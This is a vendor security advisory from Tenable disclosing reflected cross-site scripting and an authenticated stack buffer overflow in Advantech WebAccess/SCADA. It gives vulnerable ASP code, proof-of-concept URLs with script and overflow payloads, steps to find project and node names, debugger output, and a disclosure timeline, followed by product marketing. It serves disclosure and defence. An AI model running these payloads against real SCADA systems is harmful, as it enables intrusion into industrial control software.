Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Multiple Advantech WebAccess Vulnerabilities

High
← View More Research Advisories

Synopsis

Tenable has discovered multiple vulnerabilities in Advantech WebAccess/SCADA 8.3.2.

CVE-2018-15703: Multiple Reflected Cross-Site Scripting

The broadweb/loadurl.asp page processes several HTTP GET parameters when rendering HTML output. The following parameter values are incorporated into the response without sanitization:

  • title
  • url
  • lc
  • rc
  • tc
  • bc

All of these parameters can be abused to inject malicious JavaScript and HTML into the page. Furthermore, the url parameter is used as the source of an iframe in the generated page. Below are code snippets showing the vulnerable code.

title_desc = <%="'" + Request.QueryString("title") + "'"%>;
page_url = <%="'" + Request.QueryString("url") + "'"%>;

left_c   = <%="'" + Request.QueryString("lc") + "'"%>;
right_c  = <%="'" + Request.QueryString("rc") + "'"%>;
top_c    = <%="'" + Request.QueryString("tc") + "'"%>;
bottom_c = <%="'" + Request.QueryString("bc") + "'"%>;

… snip …

document.write("<IFRAME NAME=page FRAMEBORDER=no WIDTH=100% HEIGHT=100% SRC='" + page_url + "' STYLE=position:relative;display:block>");

The following are proof of concepts:

http://192.168.1.192/broadweb/loadurl.asp?title=%27;alert(%22xss%22);//
http://192.168.1.192/broadweb/loadurl.asp?url=%27;alert(%22xss%22);//
http://192.168.1.192/broadweb/loadurl.asp?lc=%27;alert(%22xss%22);//
http://192.168.1.192/broadweb/loadurl.asp?rc=%27;alert(%22xss%22);//
http://192.168.1.192/broadweb/loadurl.asp?tc=%27;alert(%22xss%22);//
http://192.168.1.192/broadweb/loadurl.asp?bc=%27;alert(%22xss%22);//
http://192.168.1.192/broadweb/loadurl.asp?url=http://tenable.com

CVE-2018-15704: Authenticated Stack Buffer Overflow

A stack buffer overflow vulnerability exists in BwOpcBs.exe. An authenticated remote attacker can reach the vulnerability via /broadweb/system/opcImg.asp . This is due to a lack of input validation during the processing of the sv parameter. This parameter value is used to dynamically construct a command line, which is then passed to the RemoteWinExec function defined within webdobj.webdraw. Finally, BwOpcBs.exe is launched with the value of sv as its second command line argument.

The command line looks like such, where <sv> is the value of the sv parameter:

Bwopcbs.exe 1 <sv>

The BwOpcBs.exe executable does not properly validate its command line arguments, and a stack buffer can be overflowed by specifying a large value in sv. Specifically, a buffer consisting of 492 bytes will overwrite the instruction pointer.

In order for an attacker to successfully exploit this vulnerability, the following parameters must be specified when requesting opcImc.asp:

  • proj
  • node
  • opt

Values for proj and node must be known prior to launching an attack. These can be discovered by performing the following steps:

  1. Visit /WADashboard/login?cont=dashboardViewer in a web browser.
  2. Project names will be listed in the drop-down menu.
  3. Choose a project name.
  4. Visit /broadweb/<project name>.dpj. Replace <project name> with the project you selected.
  5. Notice that there are node names listed. Choose a node name.

The value of 'opt' must be 1.

Using this information, a remote attacker may craft a malicious URL to be sent to a WebAccess administrator. Once this URL is visited the exploit would be launched. Below is a code snippet in opcImc.asp showing the vulnerable code.

if opt = 1 then
	if instr(UCase(opcServer), "RW.FASERVER" ) > 0 then
		cmdLine = "Bwopcbs.exe 1 " + Request.QueryString("sv")
	else
		cmdLine = "Bwopcbs.exe 1 " + Request.QueryString("sv")
	end if
end if

select case opt
case 1
	tObj.RemoteWinExec proj, node, cmdLine
	tObj.BwSleep(100)
	tObj.RemoteFileTransfer proj, node, ".", ".", "Bwopcbs.ini", 0

The following is output from WinDbg, showing an access violation. Notice that EIP is overwritten with 0x41414141 ("AAAA").

Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: C:\WebAccess\Node\BwOpcBs.exe 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path.           *
* Use .symfix to have the debugger choose a symbol path.                   *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is: 
ModLoad: 00000000`00400000 00000000`00411000   image00000000`00400000
ModLoad: 00000000`77ab0000 00000000`77c59000   ntdll.dll
ModLoad: 00000000`77c90000 00000000`77e10000   ntdll32.dll
ModLoad: 00000000`74900000 00000000`7493f000   C:\Windows\SYSTEM32\wow64.dll
ModLoad: 00000000`748a0000 00000000`748fc000   C:\Windows\SYSTEM32\wow64win.dll
ModLoad: 00000000`74890000 00000000`74898000   C:\Windows\SYSTEM32\wow64cpu.dll
(3324.21e4): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
ntdll!CsrSetPriorityClass+0x40:
00000000`77b5cb70 cc              int     3
0:000> !load winext/msec
0:000> g
ModLoad: 00000000`77990000 00000000`77aaf000   WOW64_IMAGE_SECTION
ModLoad: 00000000`75da0000 00000000`75eb0000   WOW64_IMAGE_SECTION
ModLoad: 00000000`77990000 00000000`77aaf000   NOT_AN_IMAGE
ModLoad: 00000000`77890000 00000000`7798a000   NOT_AN_IMAGE
ModLoad: 00000000`75da0000 00000000`75eb0000   C:\Windows\syswow64\kernel32.dll
ModLoad: 00000000`75fa0000 00000000`75fe7000   C:\Windows\syswow64\KERNELBASE.dll
ModLoad: 00000000`75f00000 00000000`75fa0000   C:\Windows\syswow64\ADVAPI32.dll
ModLoad: 00000000`75990000 00000000`75a3c000   C:\Windows\syswow64\msvcrt.dll
ModLoad: 00000000`75850000 00000000`75869000   C:\Windows\SysWOW64\sechost.dll
ModLoad: 00000000`75870000 00000000`75960000   C:\Windows\syswow64\RPCRT4.dll
ModLoad: 00000000`757f0000 00000000`75850000   C:\Windows\syswow64\SspiCli.dll
ModLoad: 00000000`757e0000 00000000`757ec000   C:\Windows\syswow64\CRYPTBASE.dll
ModLoad: 00000000`75ff0000 00000000`7614c000   C:\Windows\syswow64\ole32.dll
ModLoad: 00000000`77460000 00000000`774f0000   C:\Windows\syswow64\GDI32.dll
ModLoad: 00000000`76450000 00000000`76550000   C:\Windows\syswow64\USER32.dll
ModLoad: 00000000`76320000 00000000`7632a000   C:\Windows\syswow64\LPK.dll
ModLoad: 00000000`774f0000 00000000`7758d000   C:\Windows\syswow64\USP10.dll
ModLoad: 00000000`75cc0000 00000000`75d4f000   C:\Windows\syswow64\OLEAUT32.dll
(3324.21e4): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll32.dll - 
ntdll32!LdrVerifyImageMatchesChecksum+0x96c:
77d3103b cc              int     3
0:000:x86> g
ModLoad: 75a40000 75aa0000   C:\Windows\SysWOW64\IMM32.DLL
ModLoad: 75aa0000 75b6c000   C:\Windows\syswow64\MSCTF.dll
ModLoad: 00000000`76290000 00000000`76313000   C:\Windows\syswow64\CLBCatQ.DLL
(3324.21e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
41414141 ??              ???
0:000:x86> r
eax=00000000 ebx=7efde000 ecx=0040c390 edx=0018f318 esi=0040f125 edi=0018fc6d
eip=41414141 esp=0018fa14 ebp=0018ff88 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
41414141 ??              ???

Below is a proof of concept. In order to test it out, ensure you are logged in and replace the following items to contain valid values:

  • IP/hostname
  • proj
  • node
http://192.168.1.192/broadweb/system/opcImg.asp?proj=myproject&node=mynode&sv=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&opt=1

Solution

No solution currently exists.

Disclosure Timeline

07-13-2018 - Vulnerabilities discovered.
07-13-2018 - Tenable made contact with representative using live chat feature on Advantech website. Representative provides a security contact email.
07-13-2018 - Tenable sent an e-mail to the security contact asking for preferred method of disclosure.
07-19-2018 - Tenable made contact with another representative using live chat feature on Advantech website. Representative provides a new security contact email.
07-19-2018 - Tenables asks the new security contact their preferred method of disclosure.
07-19-2018 - Tenable sent a message via company web form.
07-20-2018 - Tenable sent a disclosure to both security contacts. 90 day date communicated as 10-18-2018.
08-09-2018 - Received response from Advantech. Third contact is preferred security contact. Disclosures forwarded to that email address.
08-09-2018 - Advantech confirms the issues will be handled.
08-09-2018 - Tenable asks Advantech to confirm they have received all vulnerability reports, as they were bundled together.
08-10-2018 - Advantech confirms that all issues were received.
08-27-2018 - Tenable asks for an update on the issues and when a patch will be released.
08-27-2018 - Advantech indicates that one particular vulnerability will be fixed in the next release in September.
08-28-2018 - Tenable sends a reminder that there are multiple vulnerabilities and asks if all of these will be fixed in September.
09-04-2018 - Tenable asks for clarification on which vulnerabilities will be fixed and on what date.
09-20-2018 - Tenable asks for another update.
10-18-2018 - Tenable reminds Advantech that today is disclosure day.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2018-33
Credit:
Chris Lyne
CVSSv2 Base / Temporal Score:
8.5 / 7.3
CVSSv2 Vector:
AV:N/AC:M/Au:S/C:C/I:C/A:C
Affected Products:
Advantech WebAccess/SCADA 8.3.1 and 8.3.2
Risk Factor:
High

Advisory Timeline

10-18-2018 - [R1] Initial Release
Try for free Buy now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now
Try for free Buy now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now
Try for free Buy now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now
Try for free Buy now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Request a demo of Tenable Security Center

Please fill out this form with your contact information.

A sales representative will contact you shortly to schedule a demo.

* Field is required

Request a demo of Tenable OT Security

Get the Operational Technology security you need.

Reduce the risk you don’t.

Request a demo

Don’t wait for an attack--eliminate risks before they’re exploited.

  • Uncover hidden weaknesses
  • Stop threats before they strike
  • Simplify security
  • Secure hybrid environments

Request a demo of Tenable Cloud Security

Exceptional unified cloud security awaits you!

We’ll show you exactly how Tenable Cloud Security helps you deliver multi-cloud asset discovery, prioritized risk assessments and automated compliance/audit reports.

See
Tenable One
in action

Exposure management for the modern attack surface.

See Tenable Attack Surface Management in action

Know the exposure of every asset on any platform.

Get a demo of Tenable Enclave Security

Please fill out the form with your contact information and a sales representative will contact you shortly to schedule a demo.

Try for free Buy now

Try Tenable Nessus Professional free

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
now available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select your license

Buy a multi-year license and save.

Add support and training
Buy Now
Renew an existing license Find a reseller
Try for free Buy now

Try Tenable Nessus Expert free

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select your license

Buy a multi-year license and save more.

Add support and training
Buy Now
Renew an existing license Find a reseller

Get a demo of Tenable Patch Management

Interested in streamlining security and IT collaboration and shortening the mean time to remediate with automation? Try Tenable Patch Management.